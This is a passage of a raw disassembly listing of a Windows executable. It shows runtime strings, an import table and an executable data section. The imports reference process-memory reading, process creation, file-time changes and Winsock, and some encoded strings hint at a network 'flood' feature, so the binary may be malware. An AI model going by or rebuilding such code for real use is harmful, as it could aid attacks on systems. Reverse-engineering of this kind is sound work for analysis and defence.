		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
		dd 0
dbl_422680	dq 9.765625e-4		; DATA XREF: sub_40B105+2BDr
					; sub_40B105+2D8r ...
dbl_422688	dq -3.0517578125e-5	; DATA XREF: sub_4138BE+1Er
dbl_422690	dq 1.0			; DATA XREF: sub_415E4A+6Cr
					; sub_415F93+6Cr ...
dword_422698	dd 0FFFFFFFFh, 417DDBh,	417DEFh	; DATA XREF: _0:00417D09o
byte_4226A4	db 6			; DATA XREF: sub_417F58:loc_417FAFr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: _2:off_42F35Co
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: _2:off_42F358o
		align 4
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_418CBC+8Eo
		align 10h
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_418CBC+4Fo
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: _2:off_4315ACo
		align 10h
dbl_422800	dq 0.0			; DATA XREF: sub_41A413+8Cr
					; sub_41A413+ACr ...
dbl_422808	dq 4.195835e6		; DATA XREF: sub_41A928+Fr
dbl_422810	dq 3.145727e6		; DATA XREF: sub_41A928+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41A966+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41A966o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_41AA8D+93o
		align 4
dword_422848	dd 0FFFFFFFFh, 41B178h,	41B182h, 0 ; DATA XREF:	sub_41B111+5o
dword_422858	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41B240+5o
		dd offset loc_41B2FE
		align 8
		dd offset sub_41B2DC
		dd offset sub_41B2E6
dword_422870	dd 0FFFFFFFFh, 41B52Eh,	41B532h, 0 ; DATA XREF:	sub_41B376+5o
dword_422880	dd 0FFFFFFFFh, 41B590h,	41B599h, 0 ; DATA XREF:	sub_41B53A+5o
dword_422890	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41B61C+5o
		dd offset loc_41B66D
		align 10h
		dd offset loc_41B659
		dd offset loc_41B65D
dword_4228A8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41B672+5o
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0B6h, 41h, 0
		align 8
		dd offset loc_41B6AF
		dd offset loc_41B6B3
dword_4228C0	dd 2 dup(0)		; DATA XREF: sub_41C829+36o
					; sub_41DC83+39o ...
dword_4228C8	dd 0FFFFFFFFh, 41C939h,	41C93Dh, 0FFFFFFFFh, 41C9EDh, 41C9F1h
					; DATA XREF: sub_41C829+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: _2:off_4319ECo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41D9A5+119o
		align 10h
asc_422B90	db 0Ah			; DATA XREF: sub_41D9A5+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41D9A5+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_41D9A5+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41D9A5+7Do
		align 10h
dword_422BD0	dd 0FFFFFFFFh, 41DD7Ch,	41DD80h	; DATA XREF: sub_41DC83+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_41EBF2+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_41F17E+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_41F17E+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_41F17E+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_41FAC8:loc_41FBBDo
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_41FAC8+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_41FAC8+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_41FAC8+ADo
		align 10h
dword_422C70	dd 0FFFFFFFFh, 4204C0h,	4204C4h, 0FFFFFFFFh, 42052Fh, 420533h
					; DATA XREF: sub_420309+5o
		dd 422DACh
off_422C8C	dd offset loc_4208F2	; DATA XREF: sub_4208CA+8o
					; sub_42090E+2Co ...
		dd offset sub_4208E5
		dd offset sub_420B06
		dd offset dword_422DF8
off_422C9C	dd offset sub_42095C	; DATA XREF: sub_42090E+3Ao
					; sub_420978o ...
		dd offset sub_4208E5
		dd offset loc_420B42
dword_422CA8	dd 0			; DATA XREF: sub_42090E+16o
					; sub_4209E0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_420983+11o
		dd offset dword_422E44
off_422CC8	dd offset sub_420A6B	; DATA XREF: sub_420A87o
					; sub_420AAA+37o ...
		dd offset sub_4208E5
		dd offset loc_420B24
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_420AAA+11o
		dd offset dword_422E88
off_422CE8	dd offset loc_420C01	; DATA XREF: sub_420BECo
					; _2:off_43210Co ...
		dd offset dword_422EB8
off_422CF0	dd offset loc_420C1D	; DATA XREF: sub_420C39+8o
					; sub_420C76+8o ...
		dd offset sub_420CD6
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_420CD6+7o
		align 10h
dword_422D10	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_420CE3+Eo
		dd 3, 19930520h, 2 dup(0)
dword_422D30	dd 0FFFFFFFFh, 420E94h,	420E98h, 0FFFFFFFFh, 420F11h, 420F15h
					; DATA XREF: sub_420D92+5o
dword_422D48	dd 0FFFFFFFFh, 421109h,	42110Dh, 0FFFFFFFFh, 421166h, 42116Ah
					; DATA XREF: sub_42101D+5o
		dd 43210Ch, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_422D78	dd offset off_432124	; DATA XREF: _1:00422D90o _1:00422DDCo ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_422D78
		dd offset dword_422D48+18h
dword_422D98	dd 3 dup(0)		; DATA XREF: _1:00422DBCo
		dd 2, 422D90h, 3 dup(0)
		dd offset off_432124
		dd offset dword_422D98+4
off_422DC0	dd offset off_432144	; DATA XREF: _1:00422DD8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_422DC0
		dd offset off_422D78
		dd offset dword_422D48+18h
		dd 0
		db    0			; DATA XREF: _1:00422E08o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 422DD8h
dword_422DF8	dd 3 dup(0)		; DATA XREF: _1:00422C98o
		dd offset off_432144
		dd offset unk_422DE8
off_422E0C	dd offset off_432164	; DATA XREF: _1:00422E24o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_422E0C
		dd offset off_422D78
		dd offset dword_422D48+18h
dword_422E30	dd 3 dup(0)		; DATA XREF: _1:00422E54o
		dd 3, 422E24h
dword_422E44	dd 3 dup(0)		; DATA XREF: _1:00422CC4o
		dd offset off_432164
		dd offset dword_422E30+4
off_422E58	dd offset off_432188	; DATA XREF: _1:00422E70o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_422E58
		dd 0
		db    0			; DATA XREF: _1:00422E98o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 422E70h
dword_422E88	dd 3 dup(0)		; DATA XREF: _1:00422CE4o
		dd offset off_432188
		dd offset unk_422E78
		dd offset dword_422D48+18h
dword_422EA0	dd 4 dup(0)		; DATA XREF: _1:00422EC8o
		dd 1, 422E9Ch
dword_422EB8	dd 3 dup(0)		; DATA XREF: _1:00422CECo
		dd offset off_43210C
		dd offset dword_422EA0+8
		align 10h
dword_422ED0	dd 19930520h, 2, 422EF0h, 5 dup(0) ; DATA XREF:	_0:loc_421203o
		dd 0FFFFFFFFh, 4211ECh,	0
		dd offset sub_4211E4
dword_422F00	dd 19930520h, 2, 422F20h, 5 dup(0) ; DATA XREF:	_0:loc_421220o
		dd 0FFFFFFFFh, 421210h,	0
		dd offset loc_421218
dword_422F30	dd 19930520h, 2, 422F50h, 1, 422F60h, 3	dup(0) ; DATA XREF: _0:loc_42122Co
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 422F78h, 4	dup(0)
		dd offset loc_40394B
		dd 0FFFFFFFFh, 421236h
dword_422F90	dd 19930520h, 1, 422F88h, 5 dup(0) ; DATA XREF:	_0:loc_42123Eo
		dd offset off_43210C
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	420C76h, 0
		dd offset off_432124
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	420A28h, 0
		dd offset off_432144
		align 10h
		dd 0FFFFFFFFh, 0
dword_422FF8	dd 1Ch,	420A92h, 3, 422FE4h, 422FC8h, 422FACh ;	DATA XREF: _1:0042301Co
dword_423010	dd 0			; DATA XREF: sub_420983+2Eo
					; sub_420B06+4Bo
		dd offset sub_420978
		dd 0
		dd offset dword_422FF8+8
		dd 0FFFFFFFFh, 421248h
dword_423028	dd 19930520h, 1, 423020h, 4 dup(0) ; DATA XREF:	_0:loc_421250o
		dd 0FFFFFFFFh, 42125Ah
dword_42304C	dd 19930520h, 1, 423044h, 4 dup(0) ; DATA XREF:	_0:loc_421262o
		dd 0FFFFFFFFh, 42126Ch
dword_423070	dd 19930520h, 1, 423068h, 5 dup(0) ; DATA XREF:	_0:loc_421274o
		dd offset off_432164
		align 8
		dd 0FFFFFFFFh, 0
dword_4230A0	dd 1Ch,	420AEEh, 3, 42308Ch, 422FC8h, 422FACh ;	DATA XREF: _1:004230C4o
dword_4230B8	dd 0			; DATA XREF: sub_420AAA+2Eo
					; sub_420B06+2Do
		dd offset sub_420A87
		dd 0
		dd offset dword_4230A0+8
		dd 0FFFFFFFFh, 42127Eh
dword_4230D0	dd 19930520h, 1, 4230C8h, 4 dup(0) ; DATA XREF:	_0:loc_421286o
dword_4230EC	dd 2, 422FC8h, 422FACh	; DATA XREF: _1:00423104o
dword_4230F8	dd 0			; DATA XREF: sub_420B06+Fo
; ---------------------------------------------------------------------------
		retf	4208h
; ---------------------------------------------------------------------------
		align 10h
		dd 0
		dd offset dword_4230EC
		dd 23314h, 0FFFFFFFEh, 0
		dd 23358h, 221D0h, 23144h, 0FFFFFFFEh, 0
		dd 23BA8h, 22000h, 5 dup(0)
		dd 236DCh, 23B8Eh, 23B7Ch, 23B6Ah, 23B5Ah, 23B4Ah, 23B3Ah
		dd 23B1Ch, 23B08h, 23AF8h, 23AE6h, 23AD4h, 23AC6h, 23AB6h
		dd 23AA4h, 23A8Ah, 23A72h, 23364h, 23372h, 23382h, 2339Ch
		dd 233B8h, 233C0h, 233D6h, 233E6h, 233FCh, 2340Eh, 23420h
		dd 23430h, 23440h, 2344Eh, 2345Ch, 2346Ah, 23480h, 2348Ch
		dd 234A4h, 234BEh, 234CEh, 234E0h, 234ECh, 234FEh, 23516h
		dd 2352Eh, 23556h, 2356Eh, 2357Ah, 23588h, 235A2h, 235B4h
		dd 235C4h, 235D0h, 235DCh, 235EEh, 23600h, 23614h, 23624h
		dd 23632h, 23646h, 23658h, 23668h, 23676h, 23688h, 23698h
		dd 236AEh, 236BCh, 236CAh, 236F8h, 2370Eh, 2371Eh, 23734h
		dd 23744h, 23756h, 2376Ah, 23778h, 23788h, 2379Eh, 237ACh
		dd 237C2h, 237D8h, 237ECh, 237FAh, 23810h, 2381Ch, 23832h
		dd 23842h, 23854h, 23860h, 23874h, 2388Ch, 2389Eh, 238B2h
		dd 238CCh, 238E8h, 238F4h, 2390Eh, 2391Eh, 2392Ch, 2393Eh
		dd 23950h, 2395Eh, 23978h, 23986h, 23994h, 239A2h, 239B2h
		dd 239C2h, 239D4h, 239E0h, 239F0h, 23A00h, 23A0Ch, 23A16h
		dd 23A22h, 23A3Eh, 23A58h, 0
		dd 8000000Bh, 80000074h, 80000073h, 80000015h, 80000009h
		dd 80000002h, 8000000Dh, 80000001h, 80000010h, 80000013h
		dd 80000012h, 80000097h, 80000017h, 8000000Ah, 80000004h
		dd 80000003h, 0
		dd 5F325357h, 642E3233h, 6C6Ch,	784500BAh, 68547469h, 64616572h
		dd 1DF0000h, 54746547h,	436B6369h, 746E756Fh, 2A30000h
aQueryperform_1	db 'QueryPerformanceCounter',0
		db 0A4h	; 
		db 2, 51h, 75h
aEryperformance	db 'eryPerformanceFrequency',0
		db  56h	; V
		db 3, 53h, 6Ch
		db  65h	; e
		db 65h,	70h, 0
		db 0C1h	; 
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		dw 173h
aGetlocaltime	db 'GetLocalTime',0
		align 2
		dw 17Dh
aGetmodulefil_0	db 'GetModuleFileNameA',0
		align 4
		dd 654701E0h, 6D695474h, 726F4665h, 4174616Dh, 1470000h
		dd 44746547h, 46657461h, 616D726Fh, 4174h, 65470171h, 73614C74h
		dd 72724574h, 726Fh, 7243006Fh,	65746165h, 65726854h, 6461h
		dd 6C430034h, 4865736Fh, 6C646E61h, 1630065h, 46746547h
		dd 53656C69h, 657A69h, 72430053h, 65746165h, 656C6946h
		dd 15E0041h
aGetfileattri_2	db 'GetFileAttributesA',0
		align 10h
		db '',0
aFindclose_0	db 'FindClose',0
		db '',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
		align 4
		db '',0
aFiletimetoloca	db 'FileTimeToLocalFileTime',0
		db '',0
aFindnextfile_0	db 'FindNextFileA',0
		db '',0
aFindfirstfil_0	db 'FindFirstFileA',0
		align 10h
		dd 655202B5h, 69466461h, 656Ch,	6553031Bh, 6C694674h, 696F5065h
		dd 7265746Eh, 2510000h
aLeavecritica_0	db 'LeaveCriticalSection',0
		align 2
aS_1		db '',0
aEntercritica_0	db 'EnterCriticalSection',0
		align 2
		dw 224h
aInitializecr_0	db 'InitializeCriticalSectionAndSpinCount',0
aB		db '',0
aDeletecritic_0	db 'DeleteCriticalSection',0
		dw 3A4h
aWritefile_0	db 'WriteFile',0
		dw 0F8h
aFreelibrary_0	db 'FreeLibrary',0
		db  59h	; Y
		db 1, 47h, 65h
aTenvironmentva	db 'tEnvironmentVariableW',0
		dw 1A0h
aGetprocaddre_0	db 'GetProcAddress',0
		align 4
		db  52h	; R
		db 2, 4Ch, 6Fh
aAdlibrarya	db 'adLibraryA',0
		align 4
		db  16h
		db 2, 48h, 65h
aApfree		db 'apFree',0
		align 10h
		db  10h
		db 2, 48h, 65h
aApalloc	db 'apAlloc',0
		db 0A3h	; 
		db 1, 47h, 65h
aTprocessheap	db 'tProcessHeap',0
		align 2
		dw 389h
aVirtualqueryex	db 'VirtualQueryEx',0
		align 10h
		db 0B8h	; 
		db 2, 52h, 65h
aAdprocessmemor	db 'adProcessMemory',0
		db 0C5h	; 
		db 1, 47h, 65h
aTsysteminfo	db 'tSystemInfo',0
		db  86h	; 
		db 2, 4Fh, 70h
aEnprocess	db 'enProcess',0
		dw 17Fh
aGetmodulehan_0	db 'GetModuleHandleA',0
		align 2
		dw 0F3h
aFormatmessag_0	db 'FormatMessageA',0
		align 4
		db  0Ah
		db 2, 47h, 6Ch
aObalunlock	db 'obalUnlock',0
		align 4
		db    3
		db 2, 47h, 6Ch
aOballock	db 'obalLock',0
		align 2
		dw 371h
aUnmapviewoff_0	db 'UnmapViewOfFile',0
		db  68h	; h
		db 2, 4Dh, 61h
aPviewoffile	db 'pViewOfFile',0
aT		db 'T',0
aCreatefilema_1	db 'CreateFileMappingA',0
		align 2
		dw 31Fh
aSetfiletime	db 'SetFileTime',0
		db  65h	; e
		db 1, 47h, 65h
aTfiletime	db 'tFileTime',0
aF		db 'f',0
aCreateproces_0	db 'CreateProcessA',0
		align 4
		db '',0
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
		db  19h
		db 3, 53h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		dw 1D5h
aGettemppatha_0	db 'GetTempPathA',0
		align 2
		dw 15Ah
aGetexitcodep_0	db 'GetExitCodeProcess',0
		align 4
		dd 65500291h, 614E6B65h, 5064656Dh, 657069h, 75440093h
		dd 63696C70h, 48657461h, 6C646E61h, 1420065h
aGetcurrentpr_1	db 'GetCurrentProcess',0
aE		db 'e',0
aCreatepipe	db 'CreatePipe',0
		align 4
		db 0E9h	; 
		db 1, 47h, 65h
aTversionexa	db 'tVersionExA',0
		db    4
		db 2, 47h, 6Ch
aObalmemorystat	db 'obalMemoryStatus',0
		align 2
		db '',0
aExitprocess_0	db 'ExitProcess',0
		db  94h	; 
		db 3, 57h, 69h
aDechartomultib	db 'deCharToMultiByte',0
		dw 275h
aMultibytetow_0	db 'MultiByteToWideChar',0
		dd 65470114h, 6D6F4374h, 65747570h, 6D614E72h, 4165h, 65440083h
		dd 6574656Ch, 656C6946h, 1430041h
aGetcurrentpr_2	db 'GetCurrentProcessId',0
aC		db 'C',0
aCopyfilea	db 'CopyFileA',0
		db 90h
		db 3, 57h, 61h
aItforsingleobj	db 'itForSingleObject',0
		db '`',0
aCreatemutexa	db 'CreateMutexA',0
		align 2
		dw 35Fh
aTerminatethrea	db 'TerminateThread',0
		db  6Eh	; n
		db 2, 4Dh, 6Fh
aVefilea	db 'veFileA',0
		db  5Eh	; ^
		db 3, 54h, 65h
aRminateprocess	db 'rminateProcess',0
		align 4
		db 0EEh	; 
		db 2, 53h, 65h
aTconsolectrlha	db 'tConsoleCtrlHandler',0
		dd 65470174h, 636F4C74h, 49656C61h, 416F666Eh, 1780000h
		dd 4C746547h, 6369676Fh, 72446C61h, 73657669h, 38E0000h
aWaitformultipl	db 'WaitForMultipleObjects',0
		align 4
		db 0FCh	; 
		align 2
aGenerateconsol	db 'GenerateConsoleCtrlEvent',0
		align 4
		db 0D7h	; 
		db 2, 52h, 74h
aLunwind	db 'lUnwind',0
		db 0E2h	; 
		db 1, 47h, 65h
aTtimezoneinfor	db 'tTimeZoneInformation',0
		align 2
		dw 1C8h
aGetsystemtime	db 'GetSystemTime',0
		dw 21Ah
aHeaprealloc	db 'HeapReAlloc',0
		dd 654701B7h, 61745374h, 70757472h, 6F666E49h, 1100041h
		dd 43746547h, 616D6D6Fh, 694C646Eh, 41656Eh, 654701E8h
		dd 72655674h, 6E6F6973h, 1580000h
aGetenvironme_0	db 'GetEnvironmentVariableA',0
		dd 65480214h, 65447061h, 6F727473h, 2120079h, 70616548h
		dd 61657243h, 6574h, 69560383h,	61757472h, 6572466Ch, 3810065h
		dd 74726956h, 416C6175h, 636F6C6Ch, 2360000h, 61427349h
		dd 69725764h, 74506574h, 2A70072h, 73696152h, 63784565h
		dd 69747065h, 6E6Fh, 6548021Ch,	69537061h, 657Ah, 434C0244h
		dd 5370614Dh, 6E697274h, 4167h,	434C0245h, 5370614Dh, 6E697274h
		dd 5767h, 65470104h, 49504374h,	6F666Eh, 654700FDh, 50434174h
		dd 1930000h, 4F746547h,	50434D45h, 36E0000h
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		align 2
		dw 0F6h
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		db 0F7h	; 
		align 2
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		dw 155h
aGetenvironme_1	db 'GetEnvironmentStrings',0
		dw 157h
aGetenvironme_2	db 'GetEnvironmentStringsW',0
		align 4
		db  24h	; $
		db 3, 53h, 65h
aThandlecount	db 'tHandleCount',0
		align 2
		dw 1B9h
aGetstdhandle	db 'GetStdHandle',0
		align 2
		dw 166h
aGetfiletype	db 'GetFileType',0
		db 0BAh	; 
		db 1, 47h, 65h
aTstringtypea	db 'tStringTypeA',0
		align 2
		dw 1BDh
aGetstringtypew	db 'GetStringTypeW',0
		align 4
		db  37h	; 7
		db 3, 53h, 65h
aTstdhandle	db 'tStdHandle',0
		align 4
aU		db '',0
aFlushfilebuf_0	db 'FlushFileBuffers',0
		align 4
		db  4Ah	; J
		db 3, 53h, 65h
aTunhandledexce	db 'tUnhandledExceptionFilter',0
		dw 233h
aIsbadreadptr	db 'IsBadReadPtr',0
		align 2
		dw 230h
aIsbadcodeptr	db 'IsBadCodePtr',0
		align 2
		dw 310h
aSetendoffile	db 'SetEndOfFile',0
		align 2
		db ':',0
aComparestringa	db 'CompareStringA',0
		align 4
		db ';',0
aComparestringw	db 'CompareStringW',0
		align 2
		dw 313h
aSetenvironme_0	db 'SetEnvironmentVariableA',0
aKernel32_dll_0	db 'KERNEL32.dll',0
		db    0
_1		ends

; Section 3. (virtual address 00024000)
; Virtual size			: 000A6720 ( 681760.)
; Section size in file		: 000A6720 ( 681760.)
; Offset to raw	data for section: 00024000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_2		segment	para public 'CODE' use32
		assume cs:_2
		;org 424000h
		assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
dword_424000	dd 0			; DATA XREF: sub_417BD8+1Fo
		dd offset sub_4039F9
dword_424008	dd 0			; DATA XREF: sub_417BD8+1Ao
dword_42400C	dd 0			; DATA XREF: sub_417BD8+10o
		dd offset sub_416832
; ---------------------------------------------------------------------------
		adc	esi, ecx
		inc	ecx
		add	[edx-25h], ah
		inc	ecx
		add	ah, dl


loc_42401D:				; DATA XREF: sub_417BD8:loc_417BE3o
		jmp	loc_424063
; ---------------------------------------------------------------------------
		align 4
dword_424024	dd 0			; DATA XREF: sub_417C27+65o
		dd offset loc_41DC07
dword_42402C	dd 0			; DATA XREF: sub_417C27:loc_417C87o
dword_424030	dd 0			; DATA XREF: sub_417C27+76o
		dd offset loc_41E9E5
dword_424038	dd 2 dup(0)		; DATA XREF: sub_417C27:loc_417C98o
dword_424040	dd 7A026E02h, 201F6D1Fh, 6F646428h, 1F702E73h, 29671F6Ch
					; DATA XREF: sub_401000+5Eo
		dd 0BBBB0220h, 44202002h, 20656E6Fh
		db 77h,	69h, 74h
; ---------------------------------------------------------------------------


loc_424063:				; CODE XREF: _2:loc_42401Dj
		push	6F6C6620h
		outsd
		and	fs:[eax], ch
		and	eax, 2F424B69h
		jnb	short loc_4240D8
		arpl	[ecx], bp
		add	cs:[eax], al


loc_424078:				; DATA XREF: sub_4010B5+302o
		add	ch, [esi+2]
		jp	short loc_42409C
		insd
